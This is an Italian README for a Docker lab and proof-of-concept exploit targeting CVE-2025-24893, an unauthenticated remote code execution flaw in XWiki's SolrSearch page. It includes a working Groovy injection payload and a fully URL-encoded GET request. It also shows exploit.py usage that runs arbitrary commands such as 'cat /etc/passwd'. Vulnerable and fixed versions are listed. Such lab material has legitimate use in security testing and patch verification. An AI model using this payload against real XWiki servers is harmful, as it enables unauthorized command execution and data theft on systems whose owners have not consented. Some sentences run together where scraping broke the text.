
Exploit di esecuzione remota di codice non autenticato per XWiki SolrSearch (CVE-2025-24893) tramite iniezione Groovy nel parametro text, con ambiente di laboratorio basato su Docker e script PoC.
Main.SolrSearch è aperta agli ospiti, eppure valuta il parametro text fornito dall'utente come sintassi XWiki senza una sufficiente validazione.{{groovy}} in text per eseguire codice Groovy arbitrario sul server, e può anche invocare comandi del sistema operativo tramite "command".execute(). Questa vulnerabilità può essere sfruttata con una singola richiesta GET, senza alcun login o token aggiuntivo.Questa directory configura l'ambiente vulnerabile utilizzando la distribuzione standalone ufficiale di XWiki 15.10.1 e il runtime Java 17.
| Elemento | Contenuto |
|---|---|
| CVE | CVE-2025-24893 |
| Prodotto | XWiki Platform |
| Versione vulnerabile | >= 5.3-milestone-2, < 15.10.11 / >= 16.0.0-rc-1, < 16.4.1 |
| Versione corretta | 15.10.11, 16.4.1 |
| Tipo di vulnerabilità | Eval Injection -> RCE non autenticata |
| Necessità di autenticazione | No |
| Impatto | Possibilità di eseguire comandi sul server |
Main.SolrSearch deve essere accessibile agli ospiti.text come sintassi XWiki.groovy deve essere abilitata all'esecuzione.Questo ambiente utilizza XWiki 15.10.1, quindi soddisfa le condizioni sopra indicate.
docker compose up -d --build
Durante l'esecuzione iniziale, l'installazione automatica procede, quindi potrebbero essere necessari alcuni minuti (circa 6-7 minuti).
docker compose ps
docker inspect -f '{{json .State.Health}}' xwiki-web
Quando il risultato dei comandi precedenti mostra "Status":"healthy", la configurazione dell'ambiente è completa e pronta per lo sfruttamento.
pip install requests
Installa la dipendenza prima di eseguire exploit.py.
Il payload principale è il seguente.
}}}{{async async=false}}{{groovy}}println("id".execute().text){{/groovy}}{{/async}}
Il payload sopra viene inserito nel parametro text e valutato nella pagina Main.SolrSearch. Di conseguenza, println("id".execute().text) viene eseguito sul server e il risultato dell'esecuzione del comando viene riflesso nel corpo della risposta RSS.
Fare riferimento a exploit.py per lo script di esecuzione completo.
python3 exploit.py
Eseguendo il codice Python sopra si riproduce il PoC. Il comando predefinito è id.
python3 exploit.py -c "cat /etc/passwd"
Per eseguire un comando diverso, passare l'argomento come mostrato sopra.
In alternativa, è possibile inviare una richiesta tramite URL (payload che restituisce id).
http://localhost:1337/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync+async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
Risposta che mostra l'id
Visualizzazione dei file nella directory corrente
15.10.11 o successiva, oppure 16.4.1 o successiva.SolrSearch.